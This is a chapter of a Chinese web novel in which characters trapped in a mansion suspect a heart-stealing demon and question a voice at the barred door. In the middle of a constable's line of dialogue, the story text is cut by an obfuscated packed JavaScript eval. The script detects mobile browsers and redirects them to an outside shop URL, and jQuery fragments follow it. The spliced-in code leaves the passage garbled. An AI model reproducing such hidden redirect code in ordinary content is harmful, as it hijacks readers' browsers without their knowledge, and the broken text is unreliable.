17. 鬼新郎(8)
    李恒月很确定,在说完这句话时她听到了一声轻笑,她转过头看向姜域,果然看到他正盯着自己。

    眉梢轻挑,一副得亏你能想出这个理由的神情。

    她问:“笑什么?”

    “没。”

    姜域憋着笑简短答道,他从一开始就没睡,从头到尾听完了李恒月和周岁安的对话。

    只是不知怎的话头扯到了他的身上,更是不知李恒月是怎么想出这么个诡异理由的。

    “姜公子你醒啦?”岁安没注意二人间的波涛汹涌,倾着身子凑过来。

    她信了李恒月的说辞,“原来你们是兄妹啊,真好,我也想有个兄长,苏姨娘没有孩子,阿爷和阿娘就只有我和阿姊两个孩子。”

    “娘亲走的早,这么大的宅院也就我们几个,阿爷还时常不在家……”

    说着说着她的脑袋脑袋低垂下来。

    李恒月抬起手又放下来,最后还是覆上岁安的肩膀拍了拍,声音有些犹豫,“你还有阿姊,岁欢娘子待你很好。”

    “噗,”岁安被她突兀的安慰逗笑,抬起头,“你很不会安慰人欸。”

    月上中天,时辰越来越晚。

    周岁安又同李恒月聊了许多,最后捱不住困意才回到了周岁欢身边,枕着自家阿姊的腿睡下。

    岁安走后,李恒月如释重负般地将额头抵上膝盖,手指一下又一下地摩擦起裙裾的丝线。

    她的心情郁闷到了极点。

    在杨捕头要求让众人待在一间屋子的时候的时候李恒月便觉得这田三郎的死并不简单。

    周宅三十号人,大半数都是下人,仆从大都是数人一间房,算下来统共也没几个房间,官府的人只需让众人待在自己房中再各派捕快巡逻看守即可。

    再者,就算司法参军不在,杨捕头也大可以先行盘问众人,再待之后将审出的细节摘要给参军,却为何独独要先等司法参军来,浪费时间?

    若只是寻常命案,何必如此大费周章。

    她和姜域与田三郎住在一个院子里,田三郎死了,按理他俩是最有嫌疑的,怕是明日他们还得一直配合官府调查,无法去找言一道长和红缨。

    李恒月叹了口气,抬起脑袋揉了揉有些酸涨的太阳穴,余光瞥见门口的动静。

    厅内大多数或伏着案或靠着墙壁都睡了,唯独杨捕头在焦急地来回走动,皂靴踩在实木上发出细微的嘎吱声。

    外面快步跑进来一个捕快,跟杨捕头低语了几句。

    离得有些远加上他们刻意压低了声音,李恒月听不太清在说些什么,只瞧着杨捕头的脸一阵青一阵白地吩咐了那名捕快几句话,捕快便快速离开了。

    不多时又进来了几名捕快,看模样是刚才的那位和之前留在北院客房看守田三郎尸体的几人,待他们都进来,杨捕头立刻就把大门关上了,随后又将别在捕快们腰间的佩刀一一卸下来,卡在了门后面的凹槽上。

    堵得严严实实。

    “看样子今晚又不能睡了。”

    正看得疑惑,旁边传来清冽又有些慵懒的声音,李恒月转过头,发现姜域正靠着墙壁微微侧着头,视线也落在门口处。

    李恒月看了他一眼,又疑惑地看向门口,瞧见不远处的一个人朝杨捕头走去。

    是冯管事,身后不远处还站着周岁欢。

    只见冯管事同杨捕头交谈了几句,便领着他朝周岁欢走去,似乎有什么要紧的事。

    李恒月“唰”地一下就站了起来,引得姜域侧目:“你干什么?”

    李恒月道:“我们也去岁欢娘子那里。”

    看杨捕头的反应,田三郎的死果真不简单,这命案越麻烦,他们就越麻烦,她必须得知道点什么。

    “凑什么热……”闹。

    姜域开口就要拒绝,抬头对上李恒月直勾勾的眸子,最后一个字咽了回去,他默叹一声,站了起来。

    厅内大多数人都是坐在地板上,他们距离周岁欢又太远,二人侧着身左拐右拐才走到跟前。

    杨捕头和冯管事早已站在周岁欢身前。

    李恒月只听她道:“有什么事我们可以一起想办法,捕头选择隐瞒,反倒于事无补。”

    声音轻柔,神情却颇为严肃。

    见到李恒月和姜域她的眉头才稍微舒展,惊讶道:“李娘子和姜公子怎么来了?”

    李恒月看了眼一旁面色有些难看的杨捕头,“可是发生了什么事?”

    “我也不知,杨捕头不肯说。”

    杨捕头无奈道:“不是在下不肯说,只是……”

    “只是你怕说了会引起众人的恐慌。”

    杨捕头眼皮一跳,看向说话的黑衣少年,这少年他记得,是方才在院子时的那两个外客之一,他咽了下口水:“小郎君说的什么意思,在下没听明白。”

    姜域不以为意:“你又是关窗又是堵门的难道不是害怕外面的邪物进来?”

    “邪物?!”

    冯管事惊呼,转头看向门口方向,然后又回过头来压着声音道:“不会吧,荆州城内哪会有什么邪祟,我们这宅子里更不可能有,就算真有,也不过是些小野鬼罢了,哪会引起什么恐慌。”

    “冯伯,我们昨日在城外客栈见到的那只邪物,”周岁欢的面色有些苍白,“莫不是它跟到了这里?”

    冯管事一愣:“娘子您不是说有道士上山去捉它了么?”

    杨捕头听得糊涂,忍不住插话:“什么城外?什么邪物?你们在说啥?”

    冯管事道:“我家娘子昨日傍晚在城外的客栈遇到了只邪物,好在客栈内有名道士,娘子们才得以平安回来,只是那邪物不见了踪影……对了,他二人当时被掳了去,今早才逃出来。”

    他看向李恒月和姜域,语气颇有怪罪他们的意思,“难道它是跟着你们来了这里?”

    李恒月一直静静听着他们讲话,此刻抿唇道:“那只邪物不能见光。”

    周岁欢:“李娘子说的对,冯伯,我们客栈遇到的那只邪物只在黑夜活动,李娘子他们又是在白日来宅里的,不会是他们的缘故。而且,今早言一道长的确是说要去捉这邪物,此刻又怎会出现在这里,应当是我多虑了。”

    “但……也不排除还有其他邪物的可能。”

    周岁欢转而又对杨捕头正色道:“杨捕头,事到如今您别选择隐瞒了,这附近可真如姜公子所说有邪物?客栈时我们遇到的邪物非比寻常,若真有它的什么同伴来了这里,我们可都活不成了。”

    杨捕头冷汗直冒,纠结了半响,终于开口承认:“是,我是怀疑周宅进了邪物,而那田三郎,”他顿了顿,似下了好大的决心,“就是被它所杀。”

    李恒月想起田三郎趴倒在房门口的模样,双目充血突出,是很典型的被掐窒息而死。

    一旁周岁欢捂着胸口说道:“杨捕头是如何断定田三郎就是被邪物所害?”

    “验尸的仵作同我说田三郎的心口处有个大窟窿,周围却丝毫不见血迹,我在官府干了几十年,接触过不少案子,也碰到过不少邪祟,能做到挖人心却不见血的除了是邪物干的,我想不到第二种可能……”

    杨捕头抬手擦了擦鬓角的冷汗,只希望这些都是他多虑了,“但事情尚未有定论,我怕说了会让大家害怕,这才选择了隐瞒。”

    说完众人都陷入了沉默。

    “那、那可如何是好?怎么无缘无故的会有邪物盯上我们这儿。”冯管事颤着声开口。

    他在周宅待了数十载,可是从来都没发生过这种事。

    杨捕头道:“邪物害人无非是出于本性,还需要什么理由,不过大家也不必过于担心,我们捕快配的刀上都浸泡过融了符咒的水,对辟邪有点作用,有这些大刀挡着大伙熬到天亮不是问题。”

    李恒月秀眉轻拧,只觉这一幕有点似曾相识,“捕头可有派人去附近道观?”

    说到这个,杨捕头皱着眉头疑道:“派了,连派了好些人,可没有一个人回来,更别说道士了。”

    仵作跟他说完后杨捕头便立刻派人去请道士了,结果那人却一直没有回来,他接连又派了两个,仍没有消息。杨捕头直觉事情不妙,这才忙召手下过来,堵住了门,以防真有邪物来犯。

    杨捕头又道:“我怀疑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712493|144618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那邪物已经潜入附近,将外界与我们隔绝开了,所以外面的人才没办法到我们这儿。”

    李恒月突然想起白天白虎观门前的道长,她记得那人当时说观中子弟都去了隔壁镇除祟。

    她忙道:“去的可是白虎观?今日他们观中并没有道士。”

    杨捕头木木开口:“我叫他们去道观请人,但没说是哪个道观,白虎观没人他们应该会找其他观吧,哪至于到现在还没人来。”

    周岁欢:“会不会是其他道观的道士被言一道长叫去对付奇越山的那只邪物了,这城中没道士,衙役找不到人才耽搁到了现在?”

    姜域笑道:“全都被叫出城了?一个道士也没留下?”

    这时门外突然响起一阵砰砰的敲门声。

    众人紧张地寻声望去。

    门外传来青年男人硬朗的声音:“班头,杨班头——是我,晖泰。”

    杨捕头惊喜,高兴地看向众人:“是我之前派出去的阿泰!总算是来了。”看来被邪物隔绝外界什么的是我他想多了。

    说着朝门口走去要开门。

    晖泰的敲门声和叫喊声吵醒了睡觉的众人,此时仆从婢子纷纷看向门口,岁安也被吵醒,懵懵地环顾四周。

    “等下!”

    杨捕头抬手刚触及门上卡得横七竖八的大刀,身后传来清脆的声音。

    是那个姓李的小女郎,同她一起过来的还有那个黑衣少年和周大娘子。

    李恒月走到他跟前,“你可确定门外的就是晖泰?”

    杨捕头有些茫然:“晖泰跟了我好些年,他的声音我能认不出来?”

    “你问他几个问题。”

    周大娘子也轻声道:“有些邪物会扮作人的模样,以防万一捕头还是先验验他吧。”

    杨捕头被李恒月弄得莫名其妙,但看这小女娘一脸的认真,旁侧的周大娘子也发话了,他只好照做。

    他对外面喊道:“阿泰,就你回来了吗?大刚他们呢?”

    大刚是杨捕头头先派出去的,见大刚没回来这才又派了晖泰出去。

    晖泰:“我路上没瞧见他们,许是走岔了。”

    杨捕头又道:“你可还记得前几日我吩咐你做的事是什么?”

    晖泰的语气有些疑惑:“啊?那日隔壁镇张叔的孙子满月,你叫我过去送点礼,捕头你自己说的都不记得了?”

    “哦,哦。这不是年纪大了,记性不太好。”杨捕头应道,眼睛瞟向李恒月和周岁欢,小声说:“是阿泰无疑,我那日确是吩咐他去跟老张送些礼金。”

    周岁欢松了口气:“既然如此,就让他进来吧。”

    杨捕头上前就要卸掉卡在门后面的那几把大刀。

    姜域突然开口:“晖泰小哥可是一个人回来的?”

    李恒月看向他,姜域此刻正侧身倚靠着旁边的棂窗,隔着纱窗薄纸看外面:“杨捕头可全都告诉我们了,这周宅里有只邪物。”

    杨捕头停下手中动作,“对啊阿泰,我不是叫你去道观请道长吗?道长呢?”

    门外晖泰的声音传进来:“我去找了,但是不知道怎么回事今天城里所有道观的道士都不在,只有几个没什么能力的守门弟子,我没办法就只好先一个人回来了。”

    “果然跟周娘子猜的一样,城里的道士都被叫出城去奇越山了。”杨捕头气得一掌拍向门上的木板,“他娘个腿,怎么这么倒霉!”

    李恒月蹙起眉头。

    道士出门除邪一般都会在观中留些许人坐镇,以防有百姓找人除邪时无人。言一若真去道观请道士上奇越山制服鬼新郎,又怎会令道观里一个道士都没有?

    再者,除去白虎观,还有玄真观和九华观两座道观,言一有什么理由要将整整两座道观的道士都请去?

    可按晖泰的意思,似乎真就如此。

    言一去了奇越山,并叫上了荆州城所有的道士。

    又或者,晖泰在撒谎。

    李恒月默默想着,门外再次传来晖泰的声音:“天儿怪冷的,还是先让我进去再说话吧。”

    杨捕头:“哦哦,我这就开门。”